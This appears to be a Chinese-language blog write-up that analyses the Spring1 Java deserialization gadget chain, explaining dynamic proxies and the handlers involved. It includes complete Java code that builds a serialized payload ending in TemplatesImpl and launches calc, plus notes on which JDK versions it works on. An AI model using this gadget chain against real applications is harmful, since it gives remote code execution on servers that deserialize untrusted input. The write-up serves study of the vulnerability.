前言

你想成为java master吗?

参考链接:https://ch1e.cn/post/spring-xi-lie-fan-xu-lie-hua-lian/

花费近5小时,从头到尾80%独立分析,只从参考文章瞄了一眼MethodInvokeTypeProviderObjectFactoryDelegatingInvocationHandlerAnnotationInvocationHandler这三个类,其余部分全靠自己打通,最终弹出calc。

动态代理

之前对动态代理只有初步认识,独立分析完spring1一切都清晰了。

关于动态代理的原理与demo网上有。

动态代理最重要的两个部分:实现的接口与handler。

使用Proxy.newProxyInstance创建代理时,接口列表写了什么,代理对象就实现了什么接口。

image-20240223120602331.png

而handler对象用来hook该对象的所有方法,hook的具体操作在handler的invoke方法里实现。有一些方法不会被hook:

image-20240223121035124.png

所以总结一下动态代理大概原理:动态创建一个(com.sun.proxy.$Proxy0 1 2…),这个实现了任意接口,然后new 该类产生的对象即代理对象。代理对象有invocationHandler对象,调用代理对象的方法都会经过invocationHandler对象的invoke方法。

所以动态代理发挥作用最关键的就是InvocationHandler。

AnnotationInvocationHandler

这个类的invoke方法:

image-20240223125056692.png

该handler的作用:当调用动态代理的方法时,将方法名作为key,从memberValues取出value作为该方法的返回值。注意返回值类型要相同。这个handler参与反序列化时,memberValues是任意可控的,key和value也任意可控。

所以总结这个handler的作用:令某个方法返回任意对象。这个对象也可以是动态代理对象,只需要实现返回值的接口即可。

ObjectFactoryDelegatingInvocationHandler

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler

image-20240223125614398.png

this.objectFactory.getObject()没细看底层实现, 不知是否可控。

但是若使用上面说的AnnotationInvocationHandler,能达到的效果是令某个方法返回任意对象,所以this.objectFactory.getObject()也是任意可控的。

所以总结ObjectFactoryDelegatingInvocationHandler的作用:将调用某个对象的method,变为调用任意可控对象的method。注意类型和参数要匹配。

MethodInvokeTypeProvider

org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

spring1的入口就是这里。

这个类的readObject:

image-20240223125501012.png

开始分析

环境

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

jdk版本8u66,8u73或者更高打不通。

入口在MethodInvokeTypeProvider#readObject

findMethod

先看findMethod。

首先要知道sink点,是TemplatesImpl#getOutputProperties或者TemplatesImpl#newTransformer

那么容易想到尝试的是:

ReflectionUtils.findMethod(Templates.class, "getOutputProperties");

但是getType要求返回值类型是java.lang.reflect.Type。所以现在的问题是如何让this.provider.getType()既是Templates又是Type?

解决方法是令this.provider.getType()返回一个动态代理,我们手动让这个代理实现Templates和Type两个接口。

Class<?> typeInterface = Class.forName("java.lang.reflect.Type");
Object proxy = Proxy.newProxyInstance(typeInterface.getClassLoader(),new Class[]{typeInterface,Templates.class}, handler);

那么如何令this.provider.getType()返回一个动态代理?前面说过,AnnotationInvocationHandler的作用是令某个方法返回任意对象

那么只需要令this.provider为一个代理,这个代理的handler是AnnotationInvocationHandler,并设置好memberValues,此时this.provider.getType返回的就是任意对象。

此时,findMethod已经能获取到method为Templates#getOutputProperties

现在要令调用该method的对象是TemplatesImpl,怎么办?

此时代理的handler还没确定。

invokeMethod

ReflectionUtils.invokeMethod(method, this.provider.getType());

这条语句,会调用动态代理的Templates#getOutputProperties方法

前面说过,ObjectFactoryDelegatingInvocationHandler这个handler的核心作用是将调用某个对象的method,变为调用任意可控对象的method

那么我们可以将调用动态代理的Templates#getOutputProperties方法这一操作,变为调用TemplatesImpl的Templates#getOutputProperties这一操作。

代码实现

第一个代理,用于调用getType时返回第二个代理。

public static Object proxy1() throws Exception{
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");

Object proxy2 = proxy2();

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put("getType",proxy2);
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, hashMap);
Object proxy = Proxy.newProxyInstance(methodInvokeTypeProviderClass.getClassLoader(), methodInvokeTypeProviderClass.getInterfaces(),(InvocationHandler) handler);
return proxy;
}

第二个代理,设置给objectFactory。

public static Object proxy2() throws Exception{
Class<?> handlerClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Object handler = Util.createWithoutConstructor(handlerClass);

setFinalFieldValue(handler,"objectFactory",proxy3());

Class<?> typeInterface = Class.forName("java.lang.reflect.Type");
Object proxy = Proxy.newProxyInstance(typeInterface.getClassLoader(),new Class[]{typeInterface,Templates.class},(InvocationHandler) handler);
return proxy;
}

第三个代理,用于调用objectFactory的getObject时返回TemplatesImpl

public static Object proxy3() throws Exception{
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Class<?> factoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
HashMap<Object, Object> hashMap = new HashMap();
hashMap.put("getObject",getTemplateImpl("calc"));
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, hashMap);

Object proxy = Proxy.newProxyInstance(factoryClass.getClassLoader(),factoryClass.getInterfaces(),(InvocationHandler) handler);
return proxy;
}

反序列化入口

public static void main(String[] args) throws Exception{

Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Object invokeTypeProvider = Util.createWithoutConstructor(methodInvokeTypeProviderClass);
Object proxy1 = proxy1();
setFinalFieldValue(invokeTypeProvider,"provider",proxy1);
setFinalFieldValue(invokeTypeProvider,"methodName","getOutputProperties");
Util.unserialize(Util.serialize(invokeTypeProvider));

}

修改final属性

public static void setFinalFieldValue(Object obj,String name,Object val) throws Exception{
Field nameField = obj.getClass().getDeclaredField(name);
Field modifiersField = Field.class.getDeclaredField("modifiers"); //①
modifiersField.setAccessible(true);
modifiersField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL); //②
nameField.setAccessible(true);
nameField.set(obj,val);
}

JDK版本

在8u66中,创建出AnnotationInvocationHandler对象并修改memberValues,经过序列化和反序列化,memberValues不变。

在8u73中,创建出AnnotationInvocationHandler对象并修改memberValues,经过序列化和反序列化,memberValues改变。

不同之处就在AnnotationInvocationHandler#readObject。

在高版本JDK中,readObject时会检查type属性,type属性是一个注解。注解有一个属性叫做memberTypes,是个map。

假如memberValues序列化前有如下键值对:A1->B1,A2->B2

memberTypes的键值对:A1->C1

那么经过readObject,最终的memberValues的键值对:A1->B1或C1,A2->null。

memberTypes是什么?

如Target这个注解,他的memberTypes的key是value,值不知道是什么。

image-20240223140813648.png

所以在高版本JDK中,memberValues不是任意可控了,必须找到某个注解,这个注解的memberTypes的key里有getType和getObject。